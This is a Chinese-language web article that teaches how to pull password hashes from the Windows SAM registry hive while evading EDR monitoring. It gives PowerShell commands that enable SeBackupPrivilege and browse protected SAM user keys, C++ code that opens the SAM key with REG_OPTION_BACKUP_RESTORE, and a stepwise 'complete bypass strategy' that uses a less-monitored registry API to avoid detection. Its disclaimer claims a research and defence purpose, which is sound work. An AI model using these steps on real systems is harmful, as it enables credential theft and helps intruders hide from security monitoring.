当前位置: 首页 > news >正文

Windows凭据窃取技术:从SAM数据库提取密码哈希

Windows凭据窃取技术:从SAM数据库提取密码哈希

说明:本文档基于公开研究资料整理,内容仅供技术研究和防御参考。

问题根源:LSA与凭据存储

Windows系统的凭据管理由本地安全机构(LSA)负责,具体由lsass.exe进程维护。该进程在内存中管理两个关键数据库,对应磁盘上两个受保护的注册表配置单元(Registry Hive):

数据库注册表路径功能说明
SAM数据库HKLM\SAM\SAM\存储本机用户、组账户和密码哈希值
安全数据库HKLM\SECURITY\管理域凭据、林凭据、LSA secrets等其他系统密钥

核心问题

这两个配置单元没有公开的明文API可直接获取密码。要读取SAM和SECURITY配置单元,传统方法需要:

  1. 备份注册表配置单元- 通过reg save或类似工具导出

    • 缺点:会在磁盘留下痕迹,大多数EDR会监控此操作
    • 配置单元内容经过SYSKEY加密存储
    • 解密所需的关键信息隐藏在SYSTEM配置单元的LSA secrets中
  2. 需要SYSTEM级别权限- 常规操作需要管理员完整权限


EDR检测机制:内核回调钩子

内核态回调例程

现代EDR(Endpoint Detection and Response)产品的核心检测机制基于Windows内核回调:

  • CmRegisterCallbackEx:Windows内核提供的注册表回调注册函数
  • 当注册表操作发生时,内核会通知EDR驱动

回调通知内容

每次注册表被访问时,EDR收到两个关键信息:

信息类型描述
操作类型RegEnumKeyRegQueryValue等具体操作
上下文数据完整注册表路径、调用者访问权限、时间戳等

EDR的监控限制

Windows系统每分钟产生数千万次注册表操作,不可能全部监控。因此EDR采用:

  • 路径过滤:仅监控高危路径(HKLM\SAMHKLM\SECURITY等)
  • 事件过滤:仅关注真正具有安全威胁的操作类型
  • 这就产生了绕过空间

绕过方案:利用原生API的备份Restore标志

James Forshaw的NtObjectManager

NtObjectManager 是James Forshaw开发的PowerShell模块,提供了与NT对象管理器命名空间交互的能力,允许:

  • 探索内核对象
  • 操作安全描述符
  • 执行高级系统级操作

核心API:NtOpenKeyEx

NtObjectManager模块封装了底层的原生API,其中最关键的是NtOpenKeyEx

NTSTATUSNtOpenKeyEx(PHANDLE KeyHandle,// 指向句柄的指针ACCESS_MASK DesiredAccess,// 访问掩码(如KEY_READ)POBJECT_ATTRIBUTES ObjectAttributes,// 对象属性结构ULONG OpenOptions// 打开选项标志);
关键参数:OpenOptions
标志值描述
REG_OPTION_VOLATILE创建易失性键,系统重启后消失
REG_OPTION_BACKUP_RESTORE允许绕过DACL检查
REG_OPTION_OPEN_LINK打开符号链接本身
REG_OPTION_CREATE_LINK创建符号链接
REG_OPTION_BACKUP_RESTORE的核心机制

当此标志与以下权限结合时:

  • SeBackupPrivilege- 备份权限
  • SeRestorePrivilege- 恢复权限

功能:绕过访问控制列表(DACL)检查,允许访问普通管理员无权访问的系统注册表键

重要说明

  • 并非完全绕过所有权限检查
  • 如果键配置了系统访问控制列表(SACL)审计,所有访问仍会被记录

相关API对照

API类型函数名说明
Native APINtOpenKeyEx/ZwOpenKeyEx同一系统服务的两个名称,用户模式下功能相同
Native APINtCreateKey创建新键或打开已存在的键
Win32 APIRegOpenKeyEx高级封装,绕过API钩子能力较弱

提示:使用原生API可以进行更精细的控制,也更容易避开EDR的API钩子(Hook)。


实战:PowerShell实现无文件访问

方法一:使用NtObjectManager模块

# 导入 NtObjectManager 模块Import-ModuleNtObjectManager# 为当前PowerShell会话启用 SeBackupPrivilege 权限# 注意:此操作需要管理员权限Set-NtTokenPrivilegeSeBackupPrivilege# 创建指向注册表命名空间的PSDrive,启用备份权限New-PSDrive-Name HKLM_BACKUP-PSProvider NtObjectManager-Root NtKey:\-EnableBackupPrivilege# 现在可以像访问普通注册表一样读取受保护键Get-ChildItemHKLM_BACKUP:\SAMGet-ItemHKLM_BACKUP:\SAM\SAM\Domains\Account\Users\000001F4

方法二:直接调用原生API(C++)

// 完整示例:使用NtOpenKeyEx读取SAM配置单元#include<windows.h>#include<winternl.h>typedefNTSTATUS(NTAPI*pNtOpenKeyEx)(PHANDLE KeyHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,ULONG OpenOptions);// 定义OBJECT_ATTRIBUTES初始化宏#defineInitializeObjectAttributes(p,n,a,r,s){\(p)->Length=sizeof(OBJECT_ATTRIBUTES);\(p)->RootDirectory=r;\(p)->ObjectName=n;\(p)->Attributes=a;\(p)->SecurityDescriptor=s;\(p)->SecurityQualityOfService=NULL;\}intmain(){// 加载ntdll.dll并获取NtOpenKeyEx函数地址HMODULE hNtdll=GetModuleHandleW(L"ntdll.dll");pNtOpenKeyEx NtOpenKeyEx=(pNtOpenKeyEx)GetProcAddress(hNtdll,"NtOpenKeyEx");HANDLE hKey=NULL;UNICODE_STRING keyPath;OBJECT_ATTRIBUTES objAttr;// 初始化要打开的注册表键路径RtlInitUnicodeString(&keyPath,L"\\Registry\\Machine\\SAM");InitializeObjectAttributes(&objAttr,&keyPath,OBJ_CASE_INSENSITIVE,NULL,NULL);// 调用NtOpenKeyEx,使用REG_OPTION_BACKUP_RESTORE标志NTSTATUS status=NtOpenKeyEx(&hKey,KEY_READ,&objAttr,REG_OPTION_BACKUP_RESTORE// 关键标志);if(NT_SUCCESS(status)){wprintf(L"Successfully opened SAM key\n");CloseHandle(hKey);}else{wprintf(L"Failed to open key. Status: 0x%08X\n",status);}return0;}

检测躲避:利用非常规API

问题分析

即使使用REG_OPTION_BACKUP_RESTORE绕过了访问控制,EDR仍会监控敏感注册表路径访问。常见被监控的API包括:

  • RegQueryValueExW- 注册表值查询
  • RegEnumValue- 注册表值枚举
  • RegOpenKeyEx- 注册表键打开

解决方案:RegQueryMultipleValuesW

此API设计用于批量读取注册表值,触发条件与单值查询API不同,EDR对其监控较少:

LSTATUSRegQueryMultipleValuesW(HKEY hKey,// 由RegOpenKeyEx/NtOpenKeyEx返回的句柄PVALENTW val_list,// 待获取值的数组描述DWORD num_vals,// val_list中的元素数量LPWSTR lpValueBuf,// 接收数据的缓冲区LPDWORD ldwTotsize// 输入:缓冲区大小;输出:返回的字节数);
使用策略
// 读取单个值的示例VALENTW valEntry={0};WCHAR valueName[]=L"DefaultPassword";LPWSTR buffer=malloc(4096);DWORD bufferSize=4096;valEntry.ve_valuename=valueName;valEntry.ve_valuelen=wcslen(valueName)*sizeof(WCHAR);DWORD numValues=1;LSTATUS status=RegQueryMultipleValuesW(hKey,&valEntry,1,buffer,&bufferSize);// 返回后,valEntry.ve_type、ve_valuelen被填充// 实际数据在buffer中
完整绕过策略
1. 使用 NtOpenKeyEx + REG_OPTION_BACKUP_RESTORE 获取句柄 2. 使用 RegQueryMultipleValuesW 读取数据 3. 避开EDR对RegQueryValueExW等常规API的监控

总结:技术要点

技术要点说明
LSA存储SAM和SECURITY配置单元存储系统凭据
EDR限制无法监控所有注册表操作,只能监控高危路径和API
绕过方法NtOpenKeyEx + REG_OPTION_BACKUP_RESTORE
无文件化不在磁盘留下备份文件
最小权限只需管理员+SeBackupPrivilege
API选择RegQueryMultipleValuesW避免触发EDR监控

参考文献

  • James Forshaw, NtObjectManager: https://github.com/googleprojectzero/NtObjectManager
  • Microsoft Docs: CmRegisterCallbackEx: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/cmregistercallbackex
  • REG_OPTION_BACKUP_RESTORE: https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw
http://www.jsqmd.com/news/919788/

相关文章:

  • 别再用MLP了?KAN模型实战:用Python复现论文核心,实测速度到底慢多少
  • 【分享】种子磁力下载器1.7.2 解锁年费会员 不限速下载
  • AI编程8:百度的Baidu Comate(文心快码)
  • claude code 消息系统 Skill 调用(五)
  • 2026年5月,如何选择一家靠谱的调压阀SDR系列定制厂家? - 2026年企业资讯
  • 2026年Q2义乌抖音商城培训选校核心技术维度解析:金华跨境电商培训/金华跨境电商运营培训/金华速卖通培训/金华阿里巴巴国际站培训/选择指南 - 优质品牌商家
  • 多模型搭配使用,如何放大 GPT5.5 在办公场景的价值
  • 别再只用XGBoost了!LightGBM实战调参保姆级指南(附Python代码)
  • 2026 苏州防水补漏靠谱品牌榜单 结合各区建筑特点根治反复渗漏 - 吉修匠
  • 2026服表培训高评价机构判定:导演培训、戏剧表演培训、配音培训、中日双语播音培训、创尚双语播音怎么样、创尚怎么样选择指南 - 优质品牌商家
  • 从‘搞死主机’到‘一次成功’:我的Linux硬盘挂载血泪史与终极UUID配置指南
  • 给洪水预报‘纠偏’:手把手教你用Python实现数值降雨预报的线性缩放(LS)与分位数映射(QM)校正
  • 番茄小说下载器终极指南:如何快速将网络小说转为本地电子书
  • 重庆洋酒回收机构排行:重庆红酒回收/重庆老酒回收/重庆茅台酒上门回收/重庆茅台酒回收/2026年靠谱选择推荐 - 优质品牌商家
  • 涂胶机品牌哪家好?瑞德佑业是您的靠谱之选 - mypinpai
  • D3KeyHelper终极指南:5分钟掌握暗黑3自动化操作,告别手动重复点击
  • 企业认证与安全体系(四):企业登录认证流程全解析——JWT、Redis、Spring Security 如何协同工作?
  • Acer老本装Ubuntu 20.04,WiFi驱动死活不认?我靠这几步终于搞定(附NetworkManager急救法)
  • 6款精品降AI率平台 改写实力出众
  • 为什么你的Gemini需求总被算法团队拒收?曝光5个技术负责人绝不明说但必查的PRD硬伤
  • 2026年兰州装修公司费用一览,哪家性价比高? - mypinpai
  • 2026年Q2内墙涂料珍珠泥实测评测:混凝土外加剂、渗透结晶防水材料、纳米抗裂减渗剂、聚丙烯抗裂纤维、自愈合抑温防水材料选择指南 - 优质品牌商家
  • 别再死记硬背了!用OpenCV+Python搞定相机标定,从棋盘格到内参矩阵的保姆级实战
  • TimeMixer终极指南:如何用MLP架构实现多尺度时间序列预测的3大突破
  • 交流微电网系统网络化分层协调控制策略优化【附代码】
  • FanControl风扇控制终极指南:5分钟掌握Windows风扇智能调节
  • 2026年必看!匹克球运动装供应商口碑推荐榜单新鲜出炉
  • WENO-L方法在双马赫反射问题中的应用与优化
  • 用Python和颜色矩,手把手教你识别不同面额的人民币(附完整代码)
  • 想入门视频动作识别?从零开始用Breakfast数据集跑通你的第一个模型(附完整代码)